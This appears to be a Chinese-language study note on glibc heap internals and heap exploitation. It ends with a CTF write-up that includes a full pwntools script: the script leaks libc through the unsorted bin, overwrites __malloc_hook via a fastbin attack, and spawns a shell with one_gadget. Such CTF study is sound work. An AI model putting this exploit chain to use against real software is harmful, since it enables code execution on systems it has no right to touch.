堆基础知识
在linux内存管理中,栈从高地址向低地址生长,而堆是从低地址向高地址生长。学过csapp的人知道,系统调用是一个 trap
类型的 中断
如果我们频繁调用 syscall
会使得程序经常在 Kernel
和 User
模式之间切换,这个性能开销是很大的,因此很多库都会向内核申请一大块整体的内存,然后自行管理这一块内存,来切割、分配、回收、合并等操作。
分配
Ptmalloc
当我们第一次调用 malloc
函数的时候初始化 main_arena
,并向 kernel
申请一大块内存,再从这个内存中分配处一个 Chunk
,然后返回给程序。
在 ptmalloc
中, Chunk
分为
- Allocated Chunk
- Free Chunk
- Top Chunk
Bins
分成
- Fastbin
- Small Bin
- Large Bin
- Unsorted Bin
- Tcache(glibc 2.26后)
Bins
就是垃圾桶的意思,管理 free
后的 Chunk
Chunk
Allocated Chunks
一个典型的 Chunk
的示意图如下
- prev_size/data : 临近的上一个
Chunk
的size
或data
如果上一个 Chunk
是被 free
了的,那这一部分就是size,如果上一个 Chunk
是正在使用中,那么他就可以将这一部分复用给 Chunk
来加大空间。
- size: 本
Chunk
的Size
- A-bit:是否由其他的
arena
管理,而非main_arena
- M-bit: 是否由
mmap
创造出来 - P-bit: 临近的上一个Chunk是否在使用
注:如果P置为1,那么 prev_size
就会作为 data
给上一个 Chunk
使用。
最上面的0x10 bytes我们经常叫 meta data
(元数据)
例如我们malloc两个0x10的chunk,然后free前一个,再malloc一个0x18的chunk,我们会发现这个新的0x18的chunk大小仍然是0x20,这就是prev_size作为了上一个chunk的data来保存数据
Chunk的大小
Chunk
是要和 0x10
对齐的,比如我们 malloc(0x10)
,需要先加上 0x10
的 metadata
,然后再和 0x10
对齐,变成 0x20
举个例子
现在我们 malloc(0x29)
,然后写入 0x29
个 A
我们可以计算出 Chunk Size=(0x29+0x8+0xf)&~0xf=0x40
下一个 Chunk
的size是 0x20ce0,其中 P-bit
被置1,因此左下角的 XXXX
就是本 Chunk
的数据。
Free Chunk
被 Free
的 Chunk
会根据 Size
进入到不同的 Bins
中,一个被 Free
了的 Chunk
长这样
其中 fd
是 forward Pointer
,指向下一个 Free Chunk
, bk
是 Backward Pointer
,指向上一块 Free Chunk
,glibc通过 fd,bk
将各个 Free Chunk
串联起来
当我们 Free
掉上面这个 Chunk
,下一个 Chunk
将会采用 prev_size
,然后 P-bit
被置0。这样glibc可以通过 P-bit
来判断上一个 Chunk
的状态,并且可以通过 Prev_size
来找到这个 Chunk
的大小。
Top Chunk
是在 Heap
顶端的 Chunk
,代表着剩余的空间,天生就是被切割的命。
当 malloc
在分配一个新的空间时候,如果什么都找不到,就会从 Top Chunk
下面切割一块适合的大小,然后返回给程序。如果 Top Chunk
不够分配的大小,就会 brk()
一个新的巨大的内存,然后然后将这个新的内存块作为 Top Chunk
,并且将原来的老的 Top Chunk
丢到 Unsorted Bin
中
各种bins
Tcache
Tcache是从 libc-2.26
后使用的,速度比 Fastbin
更快,但是少了很多安全检查。
每个thread都会有维护一个 Tcache
Tcache
有很多,从0x20,0x30,0x40 一直到0x410
每个Tcache最多赛7个Chunks
Free
这个 Chunk
时,不会清除下一块的 P-bit
通过 Tcache-perthread-struct
来管理 Tcache
,指向这个结构的指针存在于 TLS
中
其中上面的 Counts
标记了当前大小的数量,下面的 Entry
则指向了对应大小的第一个 Free Chunk
Tcache
的单链表采用头插法,后 Free
的 Chunk
在链表前面。
例如我们当前的线程名字叫 Ben
每一个被 Free
的 Chunk
的 fd
指针充当单链表的 next
指针,而 bk
指针则作为 key
指回Tcache-perthread-struct
,程序在 free
的时候,会检查这个key是否和当前的这个perthread_struct是否相等。
demo
比如我们申请3个大小是 0x20
的 Chunk
然后我们free这三个chunk
当我们malloc的时候,他会最初找tcache里面相同大小的freed_chunk,然后返回给程序
但是这里有个问题,tcache是一个 LIFO
结构,会从链表头摘下一个 Chunk
然后返回给程序,他会将 当前的 next
指针赋值给 Chunk
,因此我们可以改这个 next
也就是 fd
指针为一个我们喜欢的地址,比如是栈上的一个地址,然后再分配的时候,就会将栈上的地址作为一个区块拿给我们,就可以实现任意地址写入。
Tcache总结
跟 fastbin
类似
- 都是LIFO
- 在
free
时,如果下一块是Top Chunk
不会合并进去 - 都不会吧下一个 P-bit置0(其实我们可以理解为这个东西被tcache和fastbin截获了,他们用着,马上就会分配出去,所以不改pbit
Size Range
比 fastbin
大很多
每个 Tcache
的 entry
最多能装7个 chunk
(所以我们可以先将对应大小的tcache塞满,然后打fastbin dup)
fastbin的fd指的是chunk header,而 tcache的fd指的是chunk data
常见利用
堆溢出
可以越界写入,将下一个 Chunk
改掉,比如改一下 Size
啊。
例子
例如我们有一个堆块存着用户的信息
然后
UAF
USE-AFTER-FREE
也就是将一个chunk free之后,对应的指针没有清零,因此我们还可以访问这块内存。
也就是我们可以读取和更改这个free chunk的内存数据
例子
现在我们申请了两个chunk 分别是 Chunk1
和 Chunk2
然后我们 free
掉 Chunk2
然后我们读取 Chunk2
的8bytes,就可以获取到堆地址
或者往 Chunk2
中写入8个bytes,就可以修改 fastbin
或者 tcache
链表
不同libc版本的校验
2.23
fastbin:对size和对应fastbinsize的校验
smallbin:完整性的检查(并不完整)
/code bck→fd==victim
unsortedbin:检查victim size是否合理
对bck→fd是否等于victim进行校验(甚至堆块切割的时候也有校验)
unlink:对双向链表(largebin)增加对完整性的校验
/code if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr (“corrupted double-linked list”);
对largebin 增加对nextsize系列的完整性校验
2.27
tcache:最原始状态 并无什么校验
unlink:新增对presize和size的一致性校验 /code if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (“corrupted size vs.
2.28∶
unsortedbin:新增对链表完整性的校验
也就是会校验victim→fd是否等于unsortedbin头 不影响unsortedbin写入一个大值
2.29:
tcache:结构体新增key字段(放在了bk字段)导致无法随意分配
可以尝试leak key伪造区块
unsorted bin:除了对本身size检查以外
还增加了对下一个的size校验
下一个的presize校验
以及下一个的pre inuse位校验 unsortedbin attack基本失效
还有双向链表的检验
top:新增对size的校验 遏制了house of force
2.32:
fastbin:校验堆块是否对齐
/code if (__glibc_unlikely (misaligned_chunk (victim))) malloc_printerr (“malloc(): unaligned fastbin chunk detected 2”);
单链表:引入了safe linking
单链表fd的值变成了P xor (L»12)
泄露出堆地址之后即可正常伪造fd
fastbinDup
fastbin
这里面 需要注意的是fastbin指向的是header而不是data部分,因此如果要写入一些奇怪的东西 比如libc-one-gadget,应该是那个地址往上0x10
lilac
easynote
https://www.cnblogs.com/hed10ne/p/17456751.html#easynote
构造一个chunk
,使其进入Unsorted Bin
,然后打印fd
指针即可获取一个与 main_arena
有固定偏移的地址,通过动态调试同时获取这个地址和libc基址,即可获取此地址与libc之间的偏移,从获取libc基址。
- 申请大小为4000的准备进入
Unsorted Bin
的内存,其编号为0 - 申请大小为4000的,防止0号内存合并进
top chunk
- 释放掉0号内存,使其进入
Unsorted Bin
,此时原本指向数据的指针将指向chunk结构体的fd成员变量。 - 输出0号内存的值,获取
main_arena
有固定偏移的地址 - 通过调试可以获取到此时libc基址,算出地址与libc的偏移为0x3c4b78
one_gadget libc-2.23.so > pwn.txt
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
使用Fastbin Attack
实现任意地址写,主要思想是控制在__malloc_hook
附近寻找可以当作"进入fastbin
的chunk
“的结构体,然后通过UAF
将进入fastbin
的chunk
的fd
成员变量修改成构造的结构体地址,使__malloc_hook
附近构造的结构体进入fastbin
尾部,使其能够通过malloc
获取__malloc_hook
附近的指针,以便覆盖__malloc_hook
的值。
- 寻找
__malloc_hook
附近的内存,发现__malloc_hook
上方存在0x000000000000007F,适合作为chunk
的size
,此时size
对于__malloc_hook
的偏移为0x1B,chunk
地址距离size
地址还差一个prev_size
成员变量,因此chunk
地址需要__malloc_hook
地址减去0x23,其可malloc
的大小为0x60(chunk
大小减去prev_size
和size
为malloc
出来的大小为可储存的用户数据大小为0x6F,又因为需要和2 *SIZE_SZ
对齐,所以我们只能申请0x60的大小) - 申请大小为0x60(十进制96)的内存
- 释放掉刚刚申请的内存使其进入
fastbin
- 通过UAF修改fd指针为
__malloc_hook
0x23 - 申请大小为0x60的内存,将刚刚进入fastbin的内存申请回来
- 再次申请大小为0x60的内存,获取
__malloc_hook
附近的指针 - 将其内存赋值为gadget准备获取shell(因为实际上并不能直接获取)
__malloc_hook + __realloc_hook
经过测试,发现几个gadget都不能满足要求,这时候就需要调整内存结构使其满足gadget的需求,我们选取要求[rsp+0x30] == NULL
的gadget使其满足get shell的要求,我们可以通过将__mallloc_hook
设置成realloc
附近地址(具体选哪里取决于我们用多少个push
能get shell),再将__realloc_hook
设置成gadget来获取shell(因为realloc
有好多push
可以改变rsp
使其更有可能满足gadget条件),经过测试,直接使用realloc
即可get shell。
from pwn import *
context.arch = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'
# p = process(["./libc6-i386_2.31-0ubuntu9.14_amd64.so", "./ISCC_easy"],env={"LD_PRELOAD":"./libc6-i386_2.31-0ubuntu9.14_amd64.so"})
# p = process('./ISCC_easy')
# p = remote("182.92.237.102", 10013)
context.terminal =['tmux','splitw','-h']
# p = process("./pwn")
p = remote("train.hitctf.cn",25931)
libc = ELF("./libc-2.23.so")
def add(length, payload):
p.sendafter("5. exit",str(1))
p.sendafter("The length of your content --->",str(length))
p.sendafter("Content --->",payload)
def edit(index, length, payload):
p.sendafter("5. exit",str(2))
p.sendafter("Index --->",str(index))
p.sendafter("The length of your content --->",str(length))
p.sendafter("Content --->",payload)
def delete(index):
p.sendafter("5. exit",str(3))
p.sendafter("Index --->",str(index))
def show(index):
p.sendafter("5. exit",str(4))
p.sendafter("Index --->",str(index))
def d():
gdb.attach(p)
pause()
add(4000,b'a')
add(4000,b'a')
delete(0)
# d()
show(0)
p.recvuntil("Content: ")
leak_data = u64(p.recvuntil(b'done')[:-5].ljust(8,b'\x00'))
success(f"leak_data--->{hex(leak_data)}")
# d()
libc_base = leak_data - 0x3c4b78
success(f"libc_base--->{libc_base}")
# d()
# d()
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + 0x4527a
realloc_addr = libc_base + libc.sym['realloc']
add(0x60,b'aaaa') # 2
delete(2)
edit(2,9,p64(malloc_hook-0x23)) # chunk.fd -> malloc_hook - 0x23
add(0x60,b'aaaa') # 拿到这个 下一个就是malloc_hook
# d()
# gdb.attach(p)
add(0x60, b'A'*11+p64(og)+p64(realloc_addr)) # 改成og
# p.sendafter("5. exit",str(1))
# p.sendafter("The length of your content --->",str(96))
p.interactive()
- find_fake_fast
usage: find_fake_fast [-h] addr size
Finds candidate fake fast chunks that will overlap with the specified address. Used for fastbin dups and house of spirit.用于house of spirit
tcachedup
低版本libc
低版本libc对tcache几乎没有任何校验,我们可以将一个堆块free,让他进入 tcache bins
然后利用 uaf
将 fd
指针改写为我们需要的地址(这里甚至没有对 size
位的校验)
注意: tcache中直接指向数据部分,而 fastbin
指向的是 数据部分往上 0x10
的 chunk header
注意:申请的时候 tcache
中最好要有两个及以上堆块,否则我们改了第一个 tcache
中的 fd
申请之后 counts
变为0,为了拿到我们想要地址的写入,我们需要再 malloc
一块,而这个时候会爆而挂掉
高版本libc
高版本libc下的 next
指针计算方法为 next_addr ^ (tcache_addr >> 12)
- 当
tcachebin
链表中只有一个chunk
的时候,此时chunk->next << 12
即可得到堆地址。 - 当
tcachebin
链表的前两个chunk
的地址相差不是很大的时候,可以用下面的公式计算:
def calc_heap(addr):
s = hex(addr)[2:]
s = [int(x, base=16) for x in s]
res = s.copy()
for i in range(9):
res[3+i] ^= res[i]
res = "".join([hex(x)[2:] for x in res])
return int16_ex(res)
此外,由于 key
的存在,我们不能 double free
,可以填满 tcache
打 fastbin
,如果能改写 key
也可以直接绕过
在 free
的代码中加了检查
如果 free
的 chunk key
是 tcache
, 则会怀疑他已经被 free
了一次,遍历 tcache
找是不是已经被 free
过了